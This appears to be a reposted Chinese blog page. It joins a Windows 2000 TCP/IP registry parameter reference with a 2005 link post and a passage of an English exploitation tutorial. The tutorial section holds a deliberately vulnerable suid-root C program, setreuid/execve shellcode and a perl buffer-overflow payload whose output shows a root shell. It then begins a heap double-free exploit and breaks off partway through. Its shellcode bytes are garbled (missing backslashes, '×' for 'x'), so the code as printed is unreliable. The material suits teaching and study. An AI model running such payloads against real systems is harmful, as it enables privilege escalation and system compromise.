带宽网络上的性能。要获得最大效率,接收窗口应是 TCP 最大段大小 (MSS) 的偶

数倍。根据注册表项的位置,该参数可以是基于接口的参数,也可以是全局参数。

如果给定接口已有一个数值,该数值就会覆盖系统范围的数值。也可参见

GobalMaxTcpWindowSize。



TrFunctionalMcastAddress



项: Tcpip\Parameters



数值类型: REG_DWORD – 布尔值



有效范围:0、1(false、true)



默认值: 1 (true)



说明:该参数确定是使用 RFC 1469 中定义的令牌环多播地址,还是使用子网广播

地址发送 IP 多播。默认值设为 1,计算机就会使用 RFC 1469 令牌环多播地址发

送 IP 多播。将该数值设置为 0,计算机使用子网广播地址发送 IP 多播。



TypeOfInterface



项: Tcpip\Parameters\Interfaces\interface



数值类型: REG_DWORD



有效范围:0、1、2、3



默认值: 0(允许多播与单播)



说明:该参数确定接口获得单播、多播,还是两种通信类型的路由,以及是否可以

转发这些通信类型。如果将它设置为 0,允许单播与多播通信。如果将它设置为

1,禁用单播通信。如果将它设置为 2,禁用多播通信。如果将它设置为 3,单播

与多播通信均被禁用。由于该参数影响转发与路由,如果在计算机中没有其它接口

用于多播且存在默认路由,本地应用程序通过接口向外发送多播仍是可能的。



UseZeroBroadcast



项: Tcpip\Parameters\Interfaces\interface



数值类型: REG_DWORD – 布尔值



有效范围:0、1(false、true)



默认值: 0 (false)



说明:如果该参数设置为 1 (true),IP 将使用全“0”的广播 (0.0.0.0) 而不是

全“1”的广播 (255.255.255.255)。大多数系统使用全“1”的广播,但是一些从

BSD 实现派生的系统使用全“0”的广播。使用不同广播的系统在同一网络上无法

很好地进行互操作。



用户接口的可配置参数

根据用户所提供的信息,可以由 NCAP 自动创建并修改下列参数。不必在注册表中

直接配置这些参数。



DefaultGateway



项:Tcpip\Parameters\Interfaces\interface



数值类型: REG_MULTI_SZ – 以点隔开的十进制 IP 地址列表



有效范围:有效 IP 地址的任一设置



默认值: 无



说明: 对于要发往其它子网的数据包且没有更具体的路由可用时,该参数指定了

一组网关来路由这些数据包。如果它有一个有效值,该参数将覆盖

DhcpDefaultGateway 参数。任何时刻计算机只有一个活动默认网关,因此添加多

个地址只是用作冗余。有关详细信息,请参见本文“间隔网关检测”一节。



Domain



项:Tcpip\Parameters\Interfaces\interface



数值类型: REG_SZ – 字符串



有效范围:任何有效的 DNS 域名



默认值: 无



说明:该参数指定接口的 DNS 域名。在 Windows 2000 中,该参数与 NameServer

均是每个接口上的参数,而不是整个系统范围的参数。如果该参数存在,它就会

覆盖 DhcpDomain 参数(由 DHCP 客户填写)。



EnableDhcp



项:Tcpip\Parameters\Interfaces\interface



数值类型: REG_DWORD – 布尔值



有效范围:0、1(false、true)



默认值:0 (false)



说明:该参数设置为 1 (true),DHCP 客户服务就会使用 DHCP 在该适配器上配置

第一个 IP 接口。



EnableSecurityFilters



项:Tcpip\Parameters



数值类型: REG_DWORD – 布尔值



有效范围:0、1(false、true)



默认值:0 (false)



说明:该参数设置为 1 (true),就会启用网际协议安全筛选器。请参见

TcpAllowedPorts、UdpAllowedPorts 和 RawIPAllowedPorts。要配置这些数值,

在开始菜单上,指向设置,然后单击网络和拨号连接,右键单击本地连接,然后单

击属性。选择 Internet 协议 (TCP/IP),单击属性,然后单击高级。单击选项选

项卡,选择TCP/IP 筛选,然后单击属性。



Hostname



项:Tcpip\Parameters



数值类型: REG_SZ – 字符串



有效范围:任何有效 DNS 主机名



默认值: 系统的计算机名



说明:该参数指定系统的 DNS 主机名称,它是由 hostname 命令返回的。



IPAddress



项:Tcpip\Parameters\Interfaces\interface



数值类型: REG_MULTI_SZ – 以点隔开的 IP 地址列表



有效范围:任何一组有效的 IP 地址



默认值:无



说明:该参数指定绑定到适配器的 IP 接口的 IP 地址。如果列表中的第一个地址

是 0.0.0.0,则使用 DHCP 配置适配器上的主接口。适配器配有多于一个 IP 接口

的系统称为“逻辑多宿主”系统。对于此参数中指定的每个 IP 地址,在

SubnetMask 参数中必须有一个有效的子网掩码数值。要使用 Regedt32.exe 添加

参数,选择该项并键入 IP 地址列表,每次完成后按 Enter。然后转到

SubnetMask 参数,键入一组相应的子网掩码。



NameServer



项:Tcpip\Parameters\Interfaces\interface



数值类型: REG_SZ – 一个以空格分隔的点分十进制 IP 地址列表



有效范围:任何一组有效的 IP 地址



默认值: 无(空)



说明:该参数指定 Windows 套接字查询解析名称的 DNS 名称服务器。在 Windows

2000 中,该参数与 DomainName 是每个接口上的设置。



PPTPFiltering



项:Tcpip\Parameters\Interfaces\interface



数值类型: REG_DWORD – 布尔值



有效范围:0、1(false、true)



默认值: 0 (false)





说明: 该参数控制是否在每个适配器上启用 PPTP 筛选。如果将该数值设置为 1

,适配器仅接受 PPTP 连接。如果适配器连接到 Internet 等公共网络上,它可减

少遭受黑客攻击的可能性。



RawIpAllowedProtocols



项:Tcpip\Parameters\Interfaces\interface



数值类型: REG_MULTI_SZ – IP 协议编号列表



有效范围:任何一组有效的 IP 协议编号



默认值:无



说明: 该参数指定启用安全筛选时在 IP 接口上接收传入数据报的 IP 协议编号

列表 (EnableSecurityFilters = 1)。该参数通过原始 IP 传输控制接收 IP 数据

报,原始 IP 传输用于提供原始套接字。它不控制传递到其它传输(例如,TCP)

的 IP 数据报。空的列表说明没有可接受的数值。只有一个为 0 的数值说明所有

数值均是可以接受的。对于包含 0 与其它非零数值的列表,其行为未定义。如果

接口没有配置该参数,则所有数值都是可接受的。该参数适用于指定适配器上配置

的所有 IP 接口。



SearchList



项:Tcpip\Parameters



数值类型: REG_SZ – 以空格隔开的 DNS 域名后缀列表



有效范围:1-50



默认值:无



说明: 该参数提供了一个域名后缀列表,如果通过 DNS 解析原有名称失败,就会

将该后缀附到原有名称后面进行解析。默认情况下,只有“域”参数的数值是可以

附加的。该参数用于 Windows Sockets 接口。也可参见

AllowUnqualifiedQuery 参数。



SubnetMask



项:Tcpip\Parameters\Interfaces\interface



数值类型: REG_MULTI_SZ – 以点隔开的十进制 IP 地址列表



有效范围:任何一组有效的 IP 地址。



默认值:无



说明:该参数指定适配器绑定的 IP 接口的子网掩码。如果在列表中的第一个掩码

是 0.0.0.0,则在适配器上使用 DHCP 配置主接口。对于 IPAddress 参数中指定

的每个 IP 地址,在该参数中必须有一个有效的子网掩码数值。



TcpAllowedPorts



项:Tcpip\Parameters\Interfaces\interface



数值类型: REG_MULTI_SZ – TCP 端口编号列表



有效范围:任何一组有效的 TCP 端口编号



默认值: 无



说明: 该参数指定启用安全筛选时在 IP 接口上接收传入数据报的 IP 协议编号

列表 (EnableSecurityFilters = 1)。空的列表说明没有可以接受的数值。只有一

个为 0 的数值说明所有数值都是可以接受的。对于包含 0 与其它非零数值的列表

,其性能未定义。如果接口没有配置该参数,则所有数值均可以接受。该参数适用

于指定适配器上配置的所有 IP 接口。



UdpAllowedPorts



项:Tcpip\Parameters\Interfaces\interface



数值类型: REG_MULTI_SZ – UDP 端口编号列表



有效范围:任何有效 UDP 端口编号设置



默认值: 无



说明: 该参数指定在启用安全配置筛选的情况下对于在 IP 接口上接收传入数据

包的 UDP 端口编号列表。空的列表说明没有可以接受的数值。只有一个为 0 的数

值说明所有数值都是可以接受的。对于包含 0 与其它非零数值的列表,其性能未

定义。如果接口没有配置该参数,则所有数值均可以接受。该参数适用于指定适配

器上配置的所有 IP 接口。



可使用 route 命令配置的参数

Route 命令可以在 Tcpip\Parameters\PersistentRoutes 注册表项下保存永久性

IP 路由。每个路由以逗号隔开的列表形式保存在数值名称字符串中:



destination,subnet mask,gateway,metric



例如,命令:



route add 10.99.100.0 MASK 255.255.255.0 10.99.99.1 METRIC 1 /p



产生注册表值:



10.99.100.0,255.255.255.0,10.99.99.1,1



该数值类型是 REG_SZ。没有数值数据(空字符串)。可以使用 route 命令添加和

删除这些数值。没有必要直接对它们进行配置。



不可配置的参数

下列参数是由 TCP/IP 组件内部创建并使用的。不应使用注册表编辑器修改这些参

数。在此列出这些参数仅供参考。



DhcpDefaultGateway



项:Tcpip\Parameters\Interfaces\interface



数值类型: REG_MULTI_SZ – 以点隔开的十进制 IP 地址列表



有效范围:任何一组有效的 IP 地址



默认值: 无



说明: 对于要发往其它子网的数据包且没有更具体的路由可用时,该参数指定了

一组网关来路由这些数据包。该参数是由 DHCP 客户服务(如启用)写入的。该参

数被一个有效 DefaultGateway 参数所覆盖。虽然每个接口上均设置该参数,通常

对于计算机只有一个活动的默认网关。如果第一个网关失败,可改用其它项。



DhcpIPAddress



项:Tcpip\Parameters\Interfaces\interface



数值类型: REG_SZ – 以点隔开的十进制 IP 地址



有效范围:任何有效的 IP 地址



默认值:无



说明:该参数指定接口由 DHCP 配置的 IP 地址。如果 IPAddress 参数包含的第

一个数值不是 0.0.0.0,则该数值就会覆盖此参数。



DhcpDomain



项:Tcpip\Parameters\Interfaces\interface



数值类型: REG_SZ – 字符串



有效范围:任何有效的 DNS 域名



默认值: 无(由 DHCP 服务器提供)



说明:该参数指定接口的 DNS 域名。在 Windows 2000 中,该参数与 NameServer

目前是每个接口的参数,而不是系统范围的参数。如果 Domain 项存在,它将覆

盖 DhcpDomain 数值。



DhcpNameServer



项:Tcpip\Parameters



数值类型: REG_SZ – 一个以空格分隔的点分十进制 IP 地址列表



有效范围:一组有效的 IP 地址



默认值: 无



说明:该参数指定 Windows Sockets 解析名称时查询的 DNS 名称服务器。该参数

是由 DHCP 客户服务(如启用)写入的。如果 NameServer 参数有一个有效的数值

,则它将覆盖此参数。



DhcpServer



项:Tcpip\Parameters\Interfaces\interface





数值类型: REG_SZ – 以点隔开的十进制 IP 地址



有效范围:任何有效 IP 地址



默认值:无



说明:该参数指定了给 DhcpIPAddress 参数中 IP 地址授予租约的 DHCP 服务器

的 IP 地址。



DhcpSubnetMask



项:Tcpip\Parameters\Interfaces\interface



数值类型: REG_SZ – 以点隔开的十进制 IP 子网掩码



有效范围:对于已配置 IP 地址有效的任何子网掩码



默认值:无



说明:该参数为 DhcpIPAddress 参数中的地址指定由 DHCP 配置的子网掩码。



DhcpSubnetMaskOpt



项:Tcpip\Parameters\Interfaces\interface





数值类型: REG_SZ – 以点隔开的十进制 IP 子网掩码



有效范围:对于已配置 IP 地址有效的任何子网掩码



默认值:无



说明:该参数是由 DHCP 客户服务填写的,用于建立 DhcpSubnetMask 参数,它栈

实际使用的参数。在将该值插入到 DhcpSubnetMask 参数之前,执行有效性检查。





Lease



项:Tcpip\Parameters\Interfaces\interface



数值类型: REG_DWORD – 时间(秒)



有效范围:1-0xFFFFFFFF



默认值:无



说明:DHCP 客户服务使用该参数存储时间(秒数),在此期间该适配器 IP 地址

的租约有效。



LeaseObtainedTime



项:Tcpip\Parameters\Interfaces\interface



数值类型: REG_DWORD – 绝对时间(秒数),从 1/1/70 晚上 12 点开始计算



有效范围:1-0xFFFFFFFF



默认值:无



说明:DHCP 客户服务使用该参数存储时间,届时该适配器 IP 地址的租约生效。





LeaseTerminatesTime



项:Tcpip\Parameters\Interfaces\interface



数值类型: REG_DWORD – 绝对时间(秒数),从 1/1/70 晚上 12 点开始计算



有效范围:1-0xFFFFFFFF



默认值:无



说明:DHCP 客户服务使用该参数存储时间,届时该适配器 IP 地址的租约期满。





LLInterface



项:Tcpip\Parameters\Adapters\interface



数值类型: REG_SZ – Windows 2000 设备名称



有效范围:合法的 Windows 2000 设备名称



默认值:空字符串(空)



说明:该参数用于将 IP 绑定到其它链接层协议而不是内置 ARP 模块。该参数的

数值是 IP 绑定的 Windows 2000 设备名。例如,该参数用于与 RAS 组件联用。

仅当 ARP 模块而不是 LAN 绑定到 IP 时,它才存在。



NTEContextList



项: Tcpip\Parameters\Interfaces\interface



数值类型:REG_MULTI_SZ – 数字



有效范围:0-0xFFFF



默认值: 无



说明:该参数标识与接口关联的 IP 地址的上下文。与一个接口关联的每个 IP 地

址有它自己的上下文编号。这些数值用于内部标识一个 IP 地址,不应对其进行修

改。



T1



项:Tcpip\Parameters\Interfaces\interface



数值类型: REG_DWORD – 绝对时间(秒数),从 1/1/70 晚上 12 点开始计算



有效范围:1-0xFFFFFFFF



默认值:无



说明:DHCP 客户服务使用该参数存储时间,届时该客户服务先与授予租约的服务

器连接,续订该适配器 IP 地址的租约。



T2



项:Tcpip\Parameters\Interfaces\interface



数值类型: REG_DWORD – 绝对时间(秒数),从 1/1/70 晚上 12 点开始计算



有效范围:1-0xFFFFFFFF



默认值:无



说明:DHCP 客户服务使用该参数存储时间,届时该客户服务通过广播续订请求来

续订该适配器 IP 地址的租约。仅当因为某些原因 DHCP 客户服务不能与原始服务

器续订租约时,才会启用时间 T2。



ATM ARP 客户参数

ATM ARP 与每个接口的 TCP/IP 参数一起放在 AtmArpC 子项下。ATM 适配器的某

个 TCP/IP 接口的注册表转储示例如下所示。



HKEY_LOCAL_MACHINE \System \CurrentControlSet \Services \Tcpip \Parame

ters\Interfaces\{A24B73BE-D2CD-11D1-BE08-8FF4D413E1BE}\AtmArpC



SapSelector = REG_DWORD 0×00000001

AddressResolutionTimeout = REG_DWORD 0×00000003

ARPEntryAgingTimeout = REG_DWORD 0×00000384

InARPWaitTimeout = REG_DWORD 0×00000005

MaxResolutionAttempts = REG_DWORD 0×00000004

MinWaitAfterNak = REG_DWORD 0×0000000a

ServerConnectInterval = REG_DWORD 0×00000005

ServerRefreshTimeout = REG_DWORD 0×00000384

ServerRegistrationTimeout = REG_DWORD 0×00000003

DefaultVcAgingTimeout = REG_DWORD 0×0000003c

MARSConnectInterval = REG_DWORD 0×00000005

MARSRegistrationTimeout = REG_DWORD 0×00000003

JoinTimeout = REG_DWORD 0×0000000a

LeaveTimeout = REG_DWORD 0×0000000a

MaxJoinLeaveAttempts = REG_DWORD 0×00000005

MaxDelayBetweenMULTIs = REG_DWORD 0×0000000a

ARPServerList = REG_MULTI_SZ

“4700790001020000000000000000A03E00000200″

MARServerList = REG_MULTI_SZ

“4700790001020000000000000000A03E00000200″

MTU = REG_DWORD 0×000023dc

PVCOnly = REG_DWORD 0×00000000



下面说明上述的每个参数。



SapSelector



项: Tcpip\Parameters\Interfaces\interface\AtmArpC



数值类型: REG_DWORD – 数字



有效范围: 1-255



默认值: 1



说明:指定选择器字节数值,ATMARP 客户将它用作其 ATM 地址的第二十个字节。

设置的此地址用于注册 ATMARP 服务器与多播地址解析服务器 (MARS)。



AddressResolutionTimeout





项: Tcpip\Parameters\Interfaces\interface\AtmArpC



数值类型: REG_DWORD – 秒数



有效范围: 1-60



默认值: 3



说明:指定 ATMARP 客户在为单播 IP 地址发送 ARP 请求(或为多播/广播 IP 地

址发送 MARS 请求)之后等待响应的时间。如果该计时器超时,则 ATMARP 客户重

新传输该请求,最多为 (MaxResolutionAttempts – 1) 次。



ARPEntryAgingTimeout



项: Tcpip\Parameters\Interfaces\interface\AtmArpC



数值类型: REG_DWORD – 秒数



有效范围: 90-1800



默认值: 900 秒(15 分钟)



说明:指定在使该参数失效前,ATMARP 客户为单播 IP 地址保留地址解析的时间

。如果该计时器到期,则 ATMARP 客户采取下列措施之一:



如果没有与 IP 地址相关的虚拟电路 (VC) ,它删除该 IP 地址的 ARP 项。

如果至少有一个与该 IP 地址相关的永久虚拟电路 (PVC),则它在 PVC 上使用“

反向 ARP”,使 ARP 项重新生效。

如果至少有一个与该 IP 地址关联的 SVC,它向 ARP 服务器发送一个 ARP 请求,

使 ARP 项重新生效。

InARPWaitTimeout



项: Tcpip\Parameters\Interfaces\interface\AtmArpC



数值类型: REG_DWORD – 秒数



有效范围: 1-60



默认值: 5



说明:指定 ATMARP 客户发送反向地址解析协议 (InARP) 请求,使单播 IP 地址

到 ATM 地址映射(即 ARP 项)重新生效时等待响应的时间。如果该计时器到期,

ATMARP 客户删除包含此 IP 地址的 ARP 表项。



MaxResolutionAttempts



项: Tcpip\Parameters\Interfaces\interface\AtmArpC



数值类型: REG_DWORD – 数字



有效范围: 1-255



默认值: 4



说明:指定 ATMARP 客户将一个单播或多播或广播 IP 地址解析到 ATM 地址所做

的最大尝试次数。



MinWaitAfterNak



项: Tcpip\Parameters\Interfaces\interface\AtmArpC



数值类型: REG_DWORD – 秒数



有效范围: 1-60



默认值: 10



说明:指定 ATMARP 客户在从 ARP 服务器或 MARS 接收到失败响应 (ARP NAK) 之

后的等待时间。这可以防止 ATMARP 客户过于频繁地向服务器查询不存在或不知道

的 IP 地址。



ServerConnectInterval



项: Tcpip\Parameters\Interfaces\interface\AtmArpC



数值类型: REG_DWORD – 秒数



有效范围: 1-30



默认值: 5



说明:指定 ATMARP 客户在连接到 ARP 服务器失败之后和重新连接之前等待的时

间。



ServerRefreshTimeout



项: Tcpip\Parameters\Interfaces\interface\AtmArpC



数值类型: REG_DWORD – 秒数



有效范围: 90-1800



默认值: 900 秒(15 分钟)



说明:指定 ATMARP 客户发送 ARP 请求用其自己的 IP/ATM 地址信息刷新 ATMARP

服务器缓存的时间间隔。



ServerRegistrationTimeout



项: Tcpip\Parameters\Interfaces\interface\AtmArpC



数值类型: REG_DWORD – 秒数



有效范围: 1-60



默认值: 3



说明:该参数指定 ATMARP 客户发送用来将自己 IP/ATM 信息注册到 ATMARP 服务

器的“ARP 请求”数据包后,等待“ARP 应答”数据包的时间。如果计时器到期,

ATMARP 客户重新发送“ARP 请求”数据包。



DefaultVcAgingTimeout



项: Tcpip\Parameters\Interfaces\interface\AtmArpC



数值类型: REG_DWORD – 秒数



有效范围: 10-1800



默认值: 60



说明:指定 ATMARP 客户启动的所有 VC 的静止超时。该参数对 PVC 不适用。静

止是指在任一方向上都没有数据活动的情况。如果该计时器到期,ATMARP 客户就

会断开 VC 连接。



MARSConnectInterval



项: Tcpip\Parameters\Interfaces\interface\AtmArpC



数值类型: REG_DWORD – 秒数



有效范围: 1-30



默认值: 5



说明:指定连接 MARS 失败后与重新连接前的等待时间。



MARSRegistrationTimeout



项: Tcpip\Parameters\Interfaces\interface\AtmArpC



数值类型: REG_DWORD – 秒数



有效范围: 1-60



默认值: 3



说明:该参数指定 ATMARP 客户发送用来将自己 ATM 地址注册到 MARS 的“

MARS 加入”数据包后等待应答数据包的时间。如果该计时器到期,则 ATMARP 客

户重新传输“MARS 加入”数据包。



JoinTimeout



项: Tcpip\Parameters\Interfaces\interface\AtmArpC



数值类型: REG_DWORD – 秒数



有效范围: 5-60



默认值: 10



说明:该参数指定 ATMARP 客户发送用来在 IP 多播组(或 IP 广播地址)建立成

员关系的“MARS 加入”数据包后,等待应答数据包的时间。如果该计时器到期,

则 ATMARP 客户重新传输“MARS 加入”数据包,最多 MaxJoinLeaveAttempts 次





LeaveTimeout



项: Tcpip\Parameters\Interfaces\interface\AtmArpC



数值类型: REG_DWORD – 秒数



有效范围: 5-60



默认值: 10



说明:该参数指定 ATMARP 客户发送用来终止与 IP 多播组(或 IP 广播地址)成

员关系的“MARS 离开”数据包后,等待应答数据包的时间。如果计时器到期,则

ATMARP 客户重新传输“MARS 离开”数据包,最多 MaxJoinLeaveAttempts 次。





MaxJoinLeaveAttempts



项: Tcpip\Parameters\Interfaces\interface\AtmArpC



数值类型: REG_DWORD – 数字



有效范围: 1-10



默认值: 5



说明:指定 ATMARP 客户加入或离开 IP 多播(或广播)组的最大次数。



MaxDelayBetweenMULTIs



项: Tcpip\Parameters\Interfaces\interface\AtmArpC



数值类型: REG_DWORD – 秒数



有效范围: 2-60



默认值: 5



说明:对于一个 MARS 请求,该参数指定 ATMARP 客户预计的两个连续 MARS

MULTI 数据包之间的最大延迟。



ARPServerList



项: Tcpip\Parameters\Interfaces\interface\AtmArpC



数值类型: REG_MULTI_SZ



有效范围:包含 ATM 地址的字符串列表



默认值: 4700790001020000000000000000A03E00000200



说明:这是 ARP 客户允许注册的 ARP 服务器列表。该列表以故障转移方式使用;

也就是说,ARP 客户依次使用每个地址注册,直到成功为止。



MARServerList



项: Tcpip\Parameters\Interfaces\interface\AtmArpC



数值类型: REG_MULTI_SZ – 字符串列表



有效范围: 包含 ATM 地址的字符串列表



默认值: 4700790001020000000000000000A03E00000200



说明:这是 ARP 客户允许注册的 MARS 服务器列表。该列表以故障转移方式使用

;也就是说,ARP 客户依次使用每个地址注册,直到成功为止。



MTU



项: Tcpip\Parameters\Interfaces\interface\AtmArpC



数值类型: REG_DWORD – 字节数



有效范围: 9180-65527



默认值: 9180



说明:指定该接口向 IP 层报告的最大传输单位。

2005年01月13日

从KKQQ的BOLG上面找到的,很不错的说
http://www.sport-und-event.de/backtrace.de/index.htm

2005年01月10日

Analysis of the Exploitation Processes




文章作者:steve@covertsystems.org

Covert Systems Research
“Analysis of the Exploitation Processes”
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Steven Hill
aka: SolarIce
www.covertsystems.org
steve@covertsystems.org
(c) 2004
Table of Contents:
~~~~~~~~~~~~~~~~~~
I. Forward
II. Types of Vulnerabilities
a: Stack overwrite
b: Heap overwrite
c: Function pointer overwrite
d: Format string
III. Exploitation Methods
a: Stack exploitation
b: Heap exploitation
c: Function pointer exploitation
d: Format string exploitation
e: Return-to-libc exploitation
IV. Summary
V. References


[I] Forward:
~~~~~~~~~~~~

In this document, I aim to clear the mystique surrounding the processes for
exploiting certain vulnerabilities, of which blackhats use in order to gain
either horizontal or vertical escalation of priviliges. This document shall
not be in anyway complete, but rather a step for those seeking to gain a
better understanding of how these exploitation processes are used to achieve
those goals.

It is assumed that the reader has a basic understanding of C, ASM, GDB, and
of shellcoding principals together with memory layout for use with x86 Linux.

For the purposes of this document, we shall explore the world of commandline
exploit sequences. This should give a better understanding of exploitation
methods in the sense that surgical commands are issued, and we are not just
relying on ready made exploits that does the job for you.

However, by having a better understanding of how the exploitation sequences
work, a reasonable coder should be in a better position to create working
exploit codes.

This is version 1.0 of this document, any future versions shall be released
at www.covertsystems.org

[II] Types of Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

a: Stack overwrite
~~~~~~~~~~~~~~~~~~~

Stack overwrite, also known by most as the buffer overflow. This would have
to be the most widely understood vulnerability, yet for the purpose of this
document, I shall included it in order to keep this document reasonably
complete.

The purpose of the stack overwrite is to overflow a buffer far enough so
that the EIP “instruction pointer” register located on the stack is overwritten
with the address of your supplied arbitrary shellcode.

When a called function returns, the address located in the EIP register is
then executed, thus executing your shellcode with the privilages of the
process. If a vulnerable process has the privilages of suid/sgid root, this
could lead to a devastating compromise of a system.

b: Heap overwrite
~~~~~~~~~~~~~~~~~~

Heap overwrite is another vulnerability which is very similar to the
stack overwrite. However, instead of overwriting the EIP on the stack,
the overwrite occurs by overwriting areas that have been allocated by
the process such as via a call to malloc().

Overflowing a buffer that has been dynamically allocated, data can flow
into the next contigious allocated section on the heap. This allows a
person to modify the contents of those sections to their hearts content.

c: Function pointer overwrite
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
.bss section
~~~~~~~~~~~~

A function pointer overwrite is useful when we have access to the pointer
itself. If this is the case, we attempt to overwrite the pointer by
overflowing a static buffer just enough to write our preferred shellcode
address over it.

When the process calls the function pointer later during its execution of
the code, our newly supplied function pointer address shall be executed
instead which most likely is a call to a setreuid shell.

d: Format string
~~~~~~~~~~~~~~~~~

Format string vulnerabilities are a blessing to exploit coders, in the
fact that almost any address can be overwritten with a supplied address.
Format bugs occur due to inaccurate use of function requirements, such as
not specifying the format specifier in functions like: printf, snprintf etc.

Without these format specifiers, a user can supply them as a parameter to
the functions thereby calling stack frames directly off the stack.

Using this method, a user would look for input that they had entered and
upon finding it, they would have access to a user-space region of memory.

All that is required is the offset to that user-space, an address to
overwrite and an address with which to supply,… in most cases a shellcode
address.

[III] Exploitation Methods:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

a: Stack exploitation
~~~~~~~~~~~~~~~~~~~~~~

Sample vulnerable process.

[steve@covertsystems research]# cat > vuln.c << EOF
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char **argv) {
char buffer[1024];
if(argc > 1)
strcpy(buffer, argv[1]);
return EXIT_SUCCESS;
}
EOF
[steve@covertsystems research]# sudo gcc vuln.c -o vuln
[steve@covertsystems research]# sudo chown root.root vuln
[steve@covertsystems research]# sudo chmod 4755 vuln
[steve@covertsystems research]# ls -l vuln
-rwsr-xr-x 1 root root 11551 Mar 20 18:30 vuln
[steve@covertsystems research]#

Having compiled our sample vulnerable program together with the appropriate
privilages, we would naturally also need code that can be executed within the
vulnerable process itself, thus shellcode is needed. Most people simply start
with shellcode that calls a setreuid(0, 0) shell and in alot of cases this
is quite sufficiant.

The following code provides a small 33 byte shellcode that produces a shell.

#include <stdio.h>
#include <stdlib.h>
char shell[] =
//setreuid(0, 0);
“x31xc0″ // xorl %eax, %eax
“x31xdb” // xorl %ebx,%ebx
“xb0×46″ // movb $0×46,%al
“xcdx80″ // int $0×80
//execve(argv[0], &argv[0], NULL);
“x31xc0″ // xorl %eax,%eax
“x31xd2″ // xorl %edx,%edx
“x52″ // pushl %edx
“x68×2fx2fx73×68″ // pushl $0×68732f2f
“x68×2fx62×69x6e” // pushl $0×6e69622f
“x89xe3″ // movl %esp,%ebx
“x52″ // pushl %edx
“x53″ // pushl %ebx
“x89xe1″ // movl %esp,%ecx
“xb0×0b” // movb $0xb,%al
“xcdx80″ // int $0×80
;
int main(void) {
FILE *fp;
int x;
fp = fopen(“tinyshell”, “wb”);
for(x = 0; x < strlen(shell); x++)
fprintf(fp, “%c”, shell[x]);
printf(“Bytes: %dn”, strlen(shell));
fclose(fp);
return EXIT_SUCCESS;
}

[steve@covertsystems research]$ gcc shell2string.c

[steve@covertsystems research]$ ./a.out
Bytes: 33

[steve@covertsystems research]$ xxd -g1 tinyshell
0000000: 31 c0 31 db b0 46 cd 80 31 c0 31 d2 52 68 2f 2f 1.1..F..1.1.Rh//
0000010: 73 68 68 2f 62 69 6e 89 e3 52 53 89 e1 b0 0b cd shh/bin..RS…..
0000020: 80

[steve@covertsystems research]$

Now that we have a shellcode sequence as a string, we need to place the string
were it can be of use to us. The obvious place for placing this shellcode is in
an enviroment variable, of which we can get the address to it quite easily using
a small commandline piece of code.

However, we first need to place this string into the enviroment.

[steve@covertsystems research]$ export CODE=‘cat tinyshell‘

[steve@covertsystems research]$ echo ’main(){printf(“%pn”,getenv(“CODE”));}’ >
code.c ; gcc code.c -o code ; ./code ; rm -rf code*
0xbffffb6b

[steve@covertsystems research]$

We now have the shellcode/string placed into the enviroment where we have
access to it via the address: 0xbffffb6b … This will be the address we wish
to overwrite the EIP on the stack with, and as you can see, when that address
is executed, the shellcode is executed too.

First we need to place the address in the appropriate spot on the stack and
in order to do this, we need to calculate the position required. To do this
we need to determine the offset from the start of the buffer.

Our sample program has a buffer of 1024 bytes in length, so we calculate
1024 + 8 bytes padding + 4 EBP = 1036 … This offset will put the next
address that we write from 1036 to 1040 bytes. Thus overflowing the EIP!

[steve@covertsystems research]$ export RET=‘perl -e ’{print “A” x 1036;}’‘
‘printf “x6bxfbxffxbf”;‘

[steve@covertsystems research]$ ./vuln $RET
sh-2.05b# id
uid=0(root) gid=500(steve) groups=500(steve)
sh-2.05b# exit

We now have a root shell at our disposal. One thing to take note of is that
the name ./vuln must be the same length in characters as the CODE enviroment
variable. For the length of the vulnerable process can place the shellcode
address slightly off by a few bytes. However once you become aware of this
you should not have any problems.

b: Heap exploitation
~~~~~~~~~~~~~~~~~~~~~

Sample vulnerable process.
[steve@covertsystems research]$ cat > vuln.c << EOF
#define LEN 256
int main(int argc, char **argv) {
char *buf1 = (char *)malloc(LEN);
char *buf2 = (char *)malloc(LEN);
strcpy(buf1, argv[1]);
free(buf1);
free(buf2);
}
EOF
[steve@covertsystems research]$ sudo gcc vuln.c -o vuln
[steve@covertsystems research]$ sudo chown root.root ./vuln
[steve@covertsystems research]$ sudo chmod 4755 ./vuln
[steve@covertsystems research]$ ls -l ./vuln
-rwsr-xr-x 1 root root 11670 Mar 9 00:22 ./vuln
[steve@covertsystems research]$

What we are looking at here in particular is a double free() vulnerability that
occurs upon the heap. This vulnerability can take alittle time to understand but
the reward is that you should get a much better understanding of heap overflows.

We shall be using the code from the previous section to generate our
shell2string.c shellcode.

[steve@covertsystems research]$ gcc shell2string.c
[steve@covertsystems research]$ ./a.out
Bytes: 33
[steve@covertsystems research]$ xxd -g1 tinyshell
0000000: 31 c0 31 db b0 46 cd 80 31 c0 31 d2 52 68 2f 2f 1.1..F..1.1.Rh//
0000010: 73 68 68 2f 62 69 6e 89 e3 52 53 89 e1 b0 0b cd shh/bin..RS…..
0000020: 80
[steve@covertsystems research]$
Now that we have initialized our exploit with a basic requirement, we need to
better understand what we are trying to achieve. For this reason, I shall
briefly explain our goals.

Layout of memory on the heap allocated by malloc();
| data |prev_inuse|prev_size| size | fd | bk | junk
^———256———-^—-1—–^—-4—-^—4—^—4—^—4—^—–
bytes 1 bit bytes bytes bytes bytes

When malloc() is called, the memory is allocated similar to this on the heap.
Except with our sample process, we have called malloc twice and by doing so,
we must imagine that the junk part of the design is another allocated region
of memory.

However, what we are interested in is that data can flow over the boundaries
into sections reserved for keeping track of malloc() allocations. By supplying
certain values, we can thereby trick the second free() into executing our
shellcode.

Though first we need to determine some vital information. Which being the
address of the free() function in the dynamic relocation entry. This can be
attained via:

[steve@covertsystems research]$ objdump -R ./vuln | grep free
080495a8 R_386_JUMP_SLOT free
[steve@covertsystems research]$
With this address, we must deduct 12 bytes from it to compensate that 12 bytes
are added later on during the exploitation process.
[steve@covertsystems research]$ pcalc 0xa8-0xc
156 0×9c 0y10011100
[steve@covertsystems research]$

After gaining this information we will need to export our tinyshell up into an
enviroment variable, however we need to set a jmp code at the beginning of our
shellcode. This is because during the unlink() call used by the free() process,
the first few bytes are mangled.

If this were to happen to our actual shellcode, we would not have a functioning
shellcode with which to produce a shell from. Thus we can jump over the first
few bytes (in our case 15) using this jmp opcode.

